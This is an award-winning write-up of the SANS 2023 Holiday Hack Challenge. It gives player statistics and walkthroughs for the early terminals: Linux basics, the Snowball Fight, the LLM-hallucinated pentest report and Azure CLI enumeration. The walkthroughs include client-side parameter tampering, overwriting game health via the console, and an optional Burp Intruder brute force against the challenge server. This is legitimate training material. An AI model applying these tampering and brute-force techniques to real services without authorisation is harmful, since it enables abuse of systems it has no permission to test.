๐ ๐ SANS 2023 Holiday Hack Challenge (HHC) - A Holiday Odyssey ๐น๐๏ธ

Introduction
Every year the SANS Institute and the Counter Hack Team hosts a โHoliday Hack Challengeโ also commonly referred to as HHC.
The SANS HHC contains a number of unique infosec related challenges designed to test and improve the technical skills of those interested in, or working within Information/Cyber Security.
The 2023 Holiday Hack Challenge can be found here: SANS 2023 HHC - A Holiday Odyssey.
Quick Statistics for HHC 2023
- 15,664 players
- 281 (1.79%) Completed the main HHC story and challenges
- 197 people submitted a report on how they solved the challenges
- 3 Random Draw Winners
- 3 SANS.EDU Student Winners
- 32 Honorable Mentions
- 23 Super Honorable Mentions
- 1 Most Creative Prize Winner, 1 Runner Up.
- 1 Best Technical Answer Winner, 1 Runner Up.
- 1 Best Overall Answer Winner (THIS SUBMISSION!)
- 1 Extra Special Noteworthy Exemplary Trophy (ESNET) Award Winner.
- 10 most popular sail combinations:
- 205: Black / Black / Black
- 90: Red / White / Blue
- 68: Black / Red / Black
- 65: White / White / White
- 63: Blue / Blue / Blue
- 61: Red / Red / Red
- 56: Pink / Pink / Pink
- 53: White / Green / Red
- 52: Black / Black / Pink
- 51: Black / Blue / Black
- 3,377: Secret PLAID colour
- 1,341 found Jason the fish
- 24 unique objectives:
- 83.25% solved
Holiday Hack Orientation - 44.45% solved
Linux 101 - 33.02% solved
Snowball Fight - 18.9% solved
Azure 101 - 18.42% solved
Hashcat - 14.56% solved
Elf Hunt - 13.26% solved
Linux PrivEsc - 10.02% solved
Luggage Lock - 9.22% solved
Reportinator - 8.13% solved
Na'an - 8.01% solved
Phish Detection Agency - 7.58% solved
Faster Lock Combination - 6.33% solved
KQL Kraken Hunt - 5.73% solved
Game Cartridges: Vol 1 - 4.81% solved
BONUS! Fishing Guide - 4.63% solved
Certificate SSHenanigans - 3.03% solved
Active Directory - 2.82% solved
Space Island Door Access Speaker - 2.72% solved
Game Cartridges: Vol 2 - 2.61% solved
The Captain's Comms - 2.29% solved
Camera Access - 2.23% solved
Game Cartridges: Vol 3 - 1.88% solved
Missile Diversion - 1.42% solved
BONUS! Fishing Mastery
- 83.25% solved
PSMITTYwas 1st to solve all challenges in 47.5hrsSTIGWARDwas 2nd to solve all challenges in 69.6hrsPEDROCABRALwas 3rd to solve all challenges in 116.8hrs44,441,201lines were cast to go fishing- Approximately 6.85 cast every second since launch
511,539fish caughtBLUEFOOTcaught 33,403 fishEFREDERICKSONcaught 13,827 fishGOBOcaught 7,164 fish- 222 players caught all 171 fish species
JellyChip CuddleSwimmerwas the most caught fish (3,988 times)Piscis Cyberneticus Skodowas the least caught fish (1,149 times)ISLAND SHUFFLEboat racing- 1st: seafallen
- 2nd: apok
- 3rd: noodlebox
ZIPPERboat racing- 1st: noodlebox
- 2nd: skynetDev
- 3rd: seafallen
THE GOOSEboat racing- 1st: noodlebox
- 2nd: seafallen
- 3rd: skynetDev
TRENCH RUNboat racing- 1st: skynetDev
- 2nd: seafallen
- 3rd: apok
THREAD THE NEEDLEboat racing- 1st: ahojnicki
- 2nd: apok
- seafallen
THE BIG DIPPERboat racing- 1st: seafallen
- 2nd: apok
- 3rd: noodlebox
BRUHMUDAboat racing- 1st: noodlebox
- 2nd: skynetDev
- 3rd: seafallen
THE GRAND TOURboat racing- 1st: seafallen
- 2nd: noodlebox
- 3rd: skynetDev
- Overall boat racing
- 1st: seafallen (26.7 points)
- 2nd: noodlebox (23.3 points)
- 3rd: skynetDev (13.1 points)
Write-up
๐ Holiday Hack Orientation ๐
๐ Objective: Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands
โต Destination: Christmas Island (Orientation)
โ๏ธ Solution: Complete the Orientation Cranberry Pi terminal
๐ Steps:
- โ๏ธ Sail to Christmas Island Orientation dock โต
- โ๏ธ Click on Jingle Ringford multiple times
- โ๏ธ Claim your starfish badge ๐
- โ๏ธ Grab a fishing pole ๐ฃ
- โ๏ธ Type
answerinto the Cranberry Pi terminal.
๐ฌ Jingle Ringford Conversation:
Welcome to the Geese Islands and the 2023 SANS Holiday Hack Challenge!
I'm Jingle Ringford, one of Santa's many elves.
Santa asked me to meet you here and give you a short orientation to this festive event.
Before you head back to your boat, I'll ask you to accomplish a few simple tasks.
First things first, here's your badge! It's that starfish in the middle of your avatar.
Great - now you're official!
Click on the badge on your avatar. That's where you will see your Objectives, Hints, and Conversations for the Holiday Hack Challenge.
We've also got handy links to some awesome talks and more there for you!
Next, pick up that fishing pole over there in the sand. That will come in handy when you're sailing around the islands.
Fantastic!
OK, one last thing. Click on the Cranberry Pi Terminal and follow the on-screen instructions.
Perfect! Your orientation is now complete!
Head back to your boat or click on the anchor icon on the left of the screen to set sail for Frosty's Beach where Santa's waiting for you. I've updated your boat's compass to guide the way.
As you sail to each island, talk to the goose of that island to receive a colorful lei festooning the masts on your ship.
Safe travels my friend and remember, relax, enjoy the sun, and most importantly, have FUN!
๐ก Breakdown:
Follow the bearing direction to Orientation dock.
Click on Jingle Ringford multiple times to have a conversation, and move to collect a fishing pole when it appears.
Click on the Cranberry Pi terminal. In the upper panel type answer.
๐ Snowball Fight ๐๐
๐ Objective: Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!
โต Destination: Christmas Island (Frostyโs Beach)
โ๏ธ Solution: Defeat Santa and his elves in a snowball fight
๐ Steps:
- โ๏ธ Sail to Christmas Island Frostyโs Beach dock
- โ๏ธ Open Snowball Hero and create a private room
- โ๏ธ Intercept responses from the Snowball Hero challenge
- โ๏ธ Locate reference to
singlePlayervariable andplayer.healthin returned JavaScript - โ๏ธ Force iframe to reload whilst appending
&singlePlayer=falseto the URL - โ๏ธ Defeat Santa with the help of
Elf the dwarfby modifyingplayer.healthto999using JavaScript
๐ฌ Morcel Nougat Conversation:
You're like a snowball fighting ninja! A real-life legend. Can I have your autograph!?
Note: Previous conversations with Morcel donโt appear to have been recorded during the playthrough.
๐ก Breakdown:
Sail east around Christmas Island to find Frosty's Beach dock. Locate Morcel Nougat on the beach and click on the Snowball Hero challenge.
Using a configured instance of Burp Suite, intercept responses from the Snowball Hero challenge after clicking Create Private Room, or inspect the application raw JavaScript in developer tools of your browser.
A GET request to the below URL returns a script that contains the variable singlePlayer. By default this variable is set to false and thereโs a function checkAndUpdateSinglePlayer() which checks if the URL contains a parameter singlePlayer. If the URL contains this parameter, the application sets the singlePlayer variable to either true or false depending on what value is passed.
https://hhc23-snowball.holidayhackchallenge.com/room/?username={playerName}&roomId={roomID}&roomType=private&gameType=co-op&id={uniqueID}&dna={uniqueID}
Open this URL in a new window and pass the parameter singlePlayer=true to setthe sinlePlayer variable to true and start a game where Elf the dwarf joins your team.
As this challenge must be completed within the iframe rather than a new tab, modify the iframe reference URL to contain &singlePlayer=true using any browser developer tools.
To win as a pacifist, enter player.health = 999 over and over again in the developer console to avoid taking any substantial damage whilst Elf does all of the damage to Santa and his elves.
๐ Linux 101 ๐
๐ Objective: Visit Ginger Breddie in Santaโs Shack on Christmas Island to help him with some basic Linux tasks. Itโs in the southwest corner of Frostyโs Beach.
โต Destination: Christmas Island (Santaโs Surf Shack)
โ๏ธ Solution: Complete the Linux 101 Cranberry Pi terminal
๐ Steps:
- โ๏ธ Travel west on
Christmas Islandto findSanta's Surf Shack - โ๏ธ Open
Linux101 terminaland typeyes - โ๏ธ Perform a directory listing on your home directory
- โ๏ธ Find the troll inside the troll
- โ๏ธ Remove the troll in your home directory
- โ๏ธ Print the present working directory
- โ๏ธ Find the hidden troll in your home directory
- โ๏ธ Find the troll in your command history
- โ๏ธ Find the troll in your environment variables
- โ๏ธ Head into the workshop
- โ๏ธ Use
grepto find the troll in the workshop toolboxes - โ๏ธ Run the
present_enginebinary to retrieve a troll - โ๏ธ Rename
blown_fuse0tofuse0after changing into electrical directory - โ๏ธ Make a symbolic link named
fuse1that points tofuse0 - โ๏ธ Make a copy of
fuse1namedfuse2 - โ๏ธ Add the characters
TROLL_REPELLENTinto the filefuse2 - โ๏ธ Find the troll somewhere in
/opt/troll_den - โ๏ธ Find the file somewhere in
/opt/troll_denthat is owned by the usertroll - โ๏ธ Find the file that is
greater than 108 kilobytesandless than 110 kilobyteslocated somewhere in/opt/troll_den - โ๏ธ List running processes to find a troll
- โ๏ธ Display the only listening port on the screen
- โ๏ธ Interact with the
HTTP serviceon port54321 - โ๏ธ Stop the
14516_trollprocess to collect the remaining presents
๐ฌ Ginger Breddie Conversation:
Hey, welcome to Santa's Surf Shack on tropical Christmas Island! I'm just hanging ten here, taking it easy while brushing up on my Linux skills.
You ever tried getting into Linux? It's a super cool way to play around with computers.
Can you believe ChatNPT suggested this trip to the Geese Islands this year? I'm so thrilled!
Kudos to ChatNPT, eh? The sunshine, the waves, and my surfboard โ simply loving it!
So, what do you have planned? Care to join me in a Linux session?
Wow, if your surfing skills are as good as your Linux skills, you could be winning competitions!
๐ก Breakdown:
Travelling west from the Snowball Hero challenge, Santa's Surf Shack can be found on the southwest corner of Frosty's Beach.
Inside the surf shack is a Cranberry Pi challenge.
Win the challenge by following instructions in the top pane. Specific Linux commands to solve the challenge are shown below.
โ Perform a directory listing of your home directory
elf@2ff6046711be:~$ ls /home/elf
HELP troll_19315479765589239 workshop
โ Find the troll inside the troll
elf@2ff6046711be:~$ cat /home/elf/troll_19315479765589239
troll_24187022596776786
โ Remove the troll in your home directory
elf@2ff6046711be:~$ rm /home/elf/troll_19315479765589239
โ Print the present working directory
elf@2ff6046711be:~$ pwd
/home/elf
โ Find the hidden troll in your home directory
elf@2ff6046711be:~$ ls -la
total 64
drwxr-xr-x 1 elf elf 4096 Dec 14 04:26 .
drwxr-xr-x 1 root root 4096 Dec 2 22:19 ..
-rw-r--r-- 1 elf elf 28 Dec 2 22:19 .bash_history
-rw-r--r-- 1 elf elf 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 elf elf 3105 Nov 20 18:04 .bashrc
-rw-r--r-- 1 elf elf 807 Feb 25 2020 .profile
-rw-r--r-- 1 elf elf 0 Dec 14 04:26 .troll_5074624024543078
-rw-r--r-- 1 elf elf 168 Nov 20 18:04 HELP
drwxr-xr-x 1 elf elf 24576 Dec 2 22:19 workshop
โ Find the troll in your command history
elf@2ff6046711be:~$ history
1 echo troll_9394554126440791
2 ls /home/elf
3 cat /home/elf/troll_19315479765589239
4 rm troll_19315479765589239
5 pwd
6 ls -la
7 history
โ Find the troll in your environment variables
elf@2ff6046711be:~$ env
SHELL=/bin/bash
TMUX=/tmp/tmux-1050/default,17,0
HOSTNAME=2ff6046711be
RESOURCE_ID=89b666cb-8ab4-47cd-bc9c-6536c2a99620
GREENSTATUSPREFIX=presents
PWD=/home/elf
LOGNAME=elf
SESSNAME=Troll Wrangler
z_TROLL=troll_20249649541603754
HOME=/home/elf
LANG=C.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.jpg=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
HHCUSERNAME=JPMinty
AREA=cisantassurfshack
BPUSERHOME=/home/elf
LESSCLOSE=/usr/bin/lesspipe %s %s
TERM=screen
LESSOPEN=| /usr/bin/lesspipe %s
USER=elf
TOKENS=linux101
TMUX_PANE=%2
BPUSER=elf
SHLVL=3
LC_ALL=C.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
MAIL=/var/mail/elf
LOCATION=7,8
_=/usr/bin/env
โ Head into the workshop
elf@2ff6046711be:~$ cd workshop
elf@2ff6046711be:~/workshop$
โ Use โgrepโ to find the troll in the workshop toolboxes
elf@2ff6046711be:~/workshop$ grep -r 'troll' -i
toolbox_191.txt:tRoLl.4056180441832623
โ Run the present_engine binary to retrieve a troll
elf@2ff6046711be:~/workshop$ chmod +x ./present_engine
elf@2ff6046711be:~/workshop$ ./present_engine
troll.898906189498077
โ Rename โblown_fuse0โ to โfuse0โ after changing into electrical directory
elf@2ff6046711be:~/workshop$ cd electrical/ && mv blown_fuse0 fuse0
elf@2ff6046711be:~/workshop/electrical$
โ Make a symbolic link named fuse1 that points to fuse0
elf@2ff6046711be:~/workshop/electrical$ ln -s fuse0 fuse1
โ Make a copy of fuse1 named fuse2
elf@2ff6046711be:~/workshop/electrical$ cp fuse1 fuse2
โ Add the characters โTROLL_REPELLENTโ into the file fuse2
elf@2ff6046711be:~/workshop/electrical$ echo "TROLL_REPELLENT" > fuse2
โ Find the troll somewhere in /opt/troll_den
elf@2ff6046711be:~/workshop/electrical$ find /opt/troll_den/ -iname "*troll*" -type f
/opt/troll_den/plugins/embeddedjsp/src/main/java/org/apache/struts2/jasper/compiler/ParserController.java
/opt/troll_den/apps/showcase/src/main/resources/tRoLl.6253159819943018
/opt/troll_den/apps/rest-showcase/src/main/java/org/demo/rest/example/IndexController.java
/opt/troll_den/apps/rest-showcase/src/main/java/org/demo/rest/example/OrdersController.java
โ Find the file somewhere in /opt/troll_den that is owned by the user troll
elf@2ff6046711be:~/workshop/electrical$ find /opt/troll_den/ -type f -user troll
/opt/troll_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/tr0LL_9528909612014411
โ Find the file created by trolls that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/troll_den.
elf@2ff6046711be:~/workshop/electrical$ find /opt/troll_den/ -type f -size +108k -size -110k
/opt/troll_den/plugins/portlet-mocks/src/test/java/org/apache/t_r_o_l_l_2579728047101724
โ List running processes to find a troll
elf@2ff6046711be:~/workshop/electrical$ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
init 1 0.0 0.0 20112 16304 pts/0 Ss+ 05:19 0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml
elf 9346 0.1 0.0 31520 26684 pts/2 S+ 05:35 0:00 /usr/bin/python3 /14516_troll
elf 10137 0.0 0.0 7672 3196 pts/3 R+ 05:36 0:00 ps -aux
โ Display the only listening port on the screen
elf@2ff6046711be:~/workshop/electrical$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:54321 0.0.0.0:* LISTEN
Active UNIX domain sockets (only servers)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 9946150 /tmp/tmux-1050/default
โ Interact with the HTTP service on port 54321
elf@2ff6046711be:~/workshop/electrical$ curl http://127.0.0.1:54321
troll.73180338045875
โ Stop the 14516_troll process to collect the remaining presents
elf@2ff6046711be:~/workshop/electrical$ kill 9346
๐ Reportinator ๐๐
๐ Objective: Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.
โต Destination: Christmas Island (Rudolphโs Rest)
โ๏ธ Solution: Identify and submit the hallucinated pentest reports for review
๐ Steps:
- โ๏ธ Sail to
Christmas IslandRudolph's Restdock - โ๏ธ Open
ReportinatorCranberry Pi and reviewPenetration Test Reportfindings - โ๏ธ Mark any findings
without hallucinatedor false findings with aโ๏ธ - โ๏ธ Mark any findings
with hallucinatedor false findings issues with aโ - โ๏ธ Click
Submit Review
๐ฌ Noel Boetie Conversation:
Hey there, Noel Boetie speaking! I recently tried using ChatNPT to generate my penetration testing report.
It's a pretty nifty tool, but there are a few issues in the output that I've noticed.
I need some guidance in finding any errors in the way it generated the content, especially those odd hallucinations in the LLM output.
I know it's not perfect, but I'd really appreciate the extra eyes on this one.
Some of the issues might be subtle, so don't be afraid to dig deep and ask for further clarification if you're unsure.
I've heard that you folks are experts about LLM outputs and their common issues, so I trust you can help me with this.
Your input will be invaluable to me, so please feel free to share any insights or findings you may have.
I'm looking forward to working with you all and improving the quality of the ChatNPT-generated penetration testing report.
Thanks in advance for your help! I truly appreciate it! Let's make this report the best it can be!
Great job on completing that challenge! Ever thought about how your newfound skills might come into play later on? Keep that mind sharp, and remember, today's victories are tomorrow's strategies!
๐ก Breakdown:
Heading east, sail to Christmas Island Rudolph's Rest dock and find the Reporting Cranberry Pi terminal next to Noel Boetie.
Review 9 findings presented in the Cranberry Pi terminal for hallucinated or false findings. The following 3 findings have hallucinations highlighted:
โ 3. Remote Code Execution via Java Deserialization of Stored Database Objects
This report claims that by intercepting HTTP request traffic on 88555/TCP malicious actors can exploit a vulnerability.
TCP port 88555 doesnโt exist because dynamic port ranges only go to 65535 which is the maximum value of an unsigned 16-bit integer.
โ 6. Stored Cross-Site Scripting Vulnerabilities
This report claims that by mishandling data encoding procedures, stored cross-site scripting vulnerabilities become present. It also claims returned JSON data is being unsafely processed by client-side scripts, and XSS attack language is a valid way to test remediation efforts.
Some issues with this report include:
HTTP sendsdoesnโt mention a protocol or method used.Mishandling of data encoding proceduresimplies that a documented procedure wasnโt handled in an appropriate way by a human rather than any technical encoding or sanitisation.JSON data being processed unsafely by client-side scriptsimplies that scripts themselves are interpreting cross-site scripting payloads rather than these being simply interpreted by a browser as valid HTML.- Thereโs little to no tangible information on what user input is being stored on the server which is not sanitised or encoded.
- Broken sentence structure and grammatical issues.
XSS attack languageis unclear and provides no actionable way to test remediation efforts.
โ 9. Internal IP Address Disclosure
This report claims that internal IP addresses are leaked in a Location header when a HTTP header request is made that gives a HTTP 7.4.33 request, and a Host header with no value.
Some issues with this report include:
HTTP header requestdoesnโt exist, the closest thing is aHTTP HEADrequest.HTTP 7.4.33 requestdoesnโt exist and seems to be hallucinated based on server version naming conventions.- No private IP address information is leaked in a Location header shown in Listing 6.
- Listing 6 has hallucinated an IPv4 address which begins with
1192as its first octet. Octets are made up of8-bitsand can only go up to255. - Location headers are used for website redirection and canโt simply be changed to reflect the host machine
Windows registration key. Even if it could this would leak more information and is not a good idea.
Submit these 3 findings with a โ to solve the challenge.
๐ก Bonus: Brute forcing the challenge
Although not required or recommended, the challenge technically can be brute forced using a tool like Burp Suite.
Upon submitting reports for review a POST request is made containing input parameters to the below:
hhc23-reportinator-dot-holidayhack2023.ue.r.appspot.com
Given thereโs only 9 parameters sent, each of which needs to be either 0 or 1, Burp Suiteโs Intruder tool can be used to submit 512 requests each with differing parameter values until the correct answer is found.
The correct answer is evident by a response status code of 200 instead of 400.
๐ Azure 101 ๐๐
๐ Objective: Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.
โต Destination: Christmas Island (Rudolphโs Rest)
โ๏ธ Solution: Complete the Azure 101 Cranberry Pi terminal
๐ Steps:
- โ๏ธ Head west to find
Sparkle Redberry - โ๏ธ Open
Azure 101Cranberry Pi terminal - โ๏ธ Review the Azure cli help messages
- โ๏ธ Get a list of resource groups in Azure
- โ๏ธ Review configured Azure cli account details
- โ๏ธ Get a list of function apps for a resource group
- โ๏ธ List the only VM in one of the resource groups accessible
- โ๏ธ Invoke a run-command and use a RunShellScript against the VM to reveal a file
๐ก Breakdown:
Travelling west from the Reportinator challenge, find Sparkle Redberry and the Azure 101 Cranberry Pi terminal at Rudolph's Rest.
Win the challenge by following instructions in the top pane. Specific Azure CLI commands to solve the challenge are shown below.
โ Review the Azure cli help messages
elf@84d2543b8a87:~$ az help | less
Group
az
Subgroups:
account : Manage Azure subscription information.
acr : Manage private registries with Azure Container Registries.
ad : Manage Azure Active Directory Graph entities needed for Role Based
Access Control.
advisor : Manage Azure Advisor.
aks : Manage Azure Kubernetes Services.
ams [Preview] : Manage Azure Media Services resources.
apim [Preview] : Manage Azure API Management services.
appconfig [Preview] : Manage App Configurations.
appservice : Manage App Service plans.
backup [Preview] : Manage Azure Backups.
batch : Manage Azure Batch.
billing : Manage Azure Billing.
bot : Manage Microsoft Azure Bot Service.
cache [Preview] : Commands to manage CLI objects cached using the
`--defer` argument.
cdn : Manage Azure Content Delivery Networks (CDNs).
cloud : Manage registered Azure clouds.
cognitiveservices : Manage Azure Cognitive Services accounts.
consumption [Preview] : Manage consumption of Azure resources.
container : Manage Azure Container Instances.
cosmosdb : Manage Azure Cosmos DB database accounts.
deployment : Manage Azure Resource Manager deployments at subscription scope.
deploymentmanager [Preview] : Create and manage rollouts for your service.
disk : Manage Azure Managed Disks.
disk-encryption-set : Disk Encryption Set resource.
dla [Preview] : Manage Data Lake Analytics accounts, jobs, and catalogs.
dls [Preview] : Manage Data Lake Store accounts and filesystems.
dms : Manage Azure Data Migration Service (DMS) instances.
eventgrid : Manage Azure Event Grid topics, event subscriptions, domains
:q
โ Review configured Azure cli account details
elf@84d2543b8a87:~$ az account show | less
{
"environmentName": "AzureCloud",
"id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
"isDefault": true,
"name": "northpole-sub",
"state": "Enabled",
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"user": {
"name": "[email protected]",
"type": "user"
}
}
(END)
q
โ Get a list of resource groups in Azure
elf@84d2543b8a87:~$ az group list
[
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1",
"location": "eastus",
"managedBy": null,
"name": "northpole-rg1",
"properties": {
"provisioningState": "Succeeded"
},
"tags": {}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2",
"location": "westus",
"managedBy": null,
"name": "northpole-rg2",
"properties": {
"provisioningState": "Succeeded"
},
"tags": {}
}
]
โ Get a list of function apps for a resource group
elf@84d2543b8a87:~$ az functionapp list --resource-group northpole-rg1|more
[
{
"appServicePlanId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/nor
thpole-rg1/providers/Microsoft.Web/serverfarms/EastUSLinuxDynamicPlan",
"availabilityState": "Normal",
"clientAffinityEnabled": false,
"clientCertEnabled": false,
"clientCertExclusionPaths": null,
"clientCertMode": "Required",
"cloningInfo": null,
"containerSize": 0,
"customDomainVerificationId": "201F74B099FA881DB9368A26C8E8B8BB8B9AF75BF450AF717502AC151F59
DBEA",
"dailyMemoryTimeQuota": 0,
"defaultHostName": "northpole-ssh-certs-fa.azurewebsites.net",
"enabled": true,
"enabledHostNames": [
"northpole-ssh-certs-fa.azurewebsites.net"
],
"extendedLocation": null,
"hostNameSslStates": [
{
"certificateResourceId": null,
"hostType": "Standard",
"ipBasedSslResult": null,
"ipBasedSslState": "NotConfigured",
"name": "northpole-ssh-certs-fa.azurewebsites.net",
"sslState": "Disabled",
"thumbprint": null,
"toUpdate": null,
"toUpdateIpBasedSsl": null,
"virtualIPv6": null,
"virtualIp": null
},
{
"certificateResourceId": null,
"hostType": "Repository",
"ipBasedSslResult": null,
"ipBasedSslState": "NotConfigured",
"name": "northpole-ssh-certs-fa.scm.azurewebsites.net",
"sslState": "Disabled",
"thumbprint": null,
"toUpdate": null,
"toUpdateIpBasedSsl": null,
"virtualIPv6": null,
"virtualIp": null
}
],
"hostNames": [
"northpole-ssh-certs-fa.azurewebsites.net"
],
"hostNamesDisabled": false,
"hostingEnvironmentProfile": null,
"httpsOnly": false,
"hyperV": false,
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/pro
viders/Microsoft.Web/sites/northpole-ssh-certs-fa",
"identity": {
"principalId": "d3be48a8-0702-407c-89af-0319780a2aea",
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"type": "SystemAssigned",
"userAssignedIdentities": null
},
"inProgressOperationId": null,
"isDefaultContainer": null,
"isXenon": false,
"keyVaultReferenceIdentity": "SystemAssigned",
"kind": "functionapp,linux",
"lastModifiedTimeUtc": "2023-11-09T14:43:01.183333",
"location": "East US",
"maxNumberOfWorkers": null,
"name": "northpole-ssh-certs-fa",
"possibleOutboundIpAddresses": "",
"publicNetworkAccess": null,
"redundancyMode": "None",
"repositorySiteName": "northpole-ssh-certs-fa",
"reserved": true,
"resourceGroup": "northpole-rg1",
"scmSiteAlsoStopped": false,
"siteConfig": {
"acrUseManagedIdentityCreds": false,
"acrUserManagedIdentityId": null,
"alwaysOn": false,
"antivirusScanEnabled": null,
"apiDefinition": null,
"apiManagementConfig": null,
"appCommandLine": null,
"appSettings": null,
"autoHealEnabled": null,
"autoHealRules": null,
"autoSwapSlotName": null,
"azureMonitorLogCategories": null,
"azureStorageAccounts": null,
"connectionStrings": null,
"cors": null,
"customAppPoolIdentityAdminState": null,
"customAppPoolIdentityTenantState": null,
"defaultDocuments": null,
"detailedErrorLoggingEnabled": null,
"documentRoot": null,
"elasticWebAppScaleLimit": null,
"experiments": null,
"fileChangeAuditEnabled": null,
"ftpsState": null,
"functionAppScaleLimit": 200,
"functionsRuntimeScaleMonitoringEnabled": null,
"handlerMappings": null,
"healthCheckPath": null,
"http20Enabled": true,
"http20ProxyFlag": null,
"httpLoggingEnabled": null,
"ipSecurityRestrictions": null,
"ipSecurityRestrictionsDefaultAction": null,
"javaContainer": null,
"javaContainerVersion": null,
"javaVersion": null,
"keyVaultReferenceIdentity": null,
"limits": null,
"linuxFxVersion": "Python|3.11",
"loadBalancing": null,
"localMySqlEnabled": null,
"logsDirectorySizeLimit": null,
"machineKey": null,
"managedPipelineMode": null,
"managedServiceIdentityId": null,
"metadata": null,
"minTlsCipherSuite": null,
"minTlsVersion": null,
"minimumElasticInstanceCount": 0,
"netFrameworkVersion": null,
"nodeVersion": null,
"numberOfWorkers": 1,
"phpVersion": null,
"powerShellVersion": null,
"preWarmedInstanceCount": null,
"publicNetworkAccess": null,
"publishingPassword": null,
"publishingUsername": null,
"push": null,
"pythonVersion": null,
"remoteDebuggingEnabled": null,
"remoteDebuggingVersion": null,
"requestTracingEnabled": null,
"requestTracingExpirationTime": null,
"routingRules": null,
"runtimeADUser": null,
"runtimeADUserPassword": null,
"scmIpSecurityRestrictions": null,
"scmIpSecurityRestrictionsDefaultAction": null,
"scmIpSecurityRestrictionsUseMain": null,
"scmMinTlsVersion": null,
"scmType": null,
"sitePort": null,
"sitePrivateLinkHostEnabled": null,
"storageType": null,
"supportedTlsCipherSuites": null,
"tracingOptions": null,
"use32BitWorkerProcess": null,
"virtualApplications": null,
"vnetName": null,
"vnetPrivatePortsCount": null,
"vnetRouteAllEnabled": null,
"webSocketsEnabled": null,
"websiteTimeZone": null,
"winAuthAdminState": null,
"winAuthTenantState": null,
"windowsConfiguredStacks": null,
"windowsFxVersion": null,
"xManagedServiceIdentityId": null
},
"slotSwapStatus": null,
"state": "Running",
"storageAccountRequired": false,
"suspendedTill": null,
"tags": {
"create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl",
"project": "northpole-ssh-certs"
},
"targetSwapSlot": null,
"trafficManagerHostNames": null,
"type": "Microsoft.Web/sites",
"usageState": "Normal",
"virtualNetworkSubnetId": null,
"vnetContentShareEnabled": false,
"vnetImagePullEnabled": false,
"vnetRouteAllEnabled": false
}
]
โ List the only VM in one of the resource groups accessible
elf@84d2543b8a87:~$ az vm list --resource-group northpole-rg2
[
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2/pro
viders/Microsoft.Compute/virtualMachines/NP-VM1",
"location": "eastus",
"name": "NP-VM1",
"properties": {
"hardwareProfile": {
"vmSize": "Standard_D2s_v3"
},
"provisioningState": "Succeeded",
"storageProfile": {
"imageReference": {
"offer": "UbuntuServer",
"publisher": "Canonical",
"sku": "16.04-LTS",
"version": "latest"
},
"osDisk": {
"caching": "ReadWrite",
"createOption": "FromImage",
"managedDisk": {
"storageAccountType": "Standard_LRS"
},
"name": "VM1_OsDisk_1"
}
},
"vmId": "e5f16214-18be-4a31-9ebb-2be3a55cfcf7"
},
"resourceGroup": "northpole-rg2",
"tags": {}
}
]
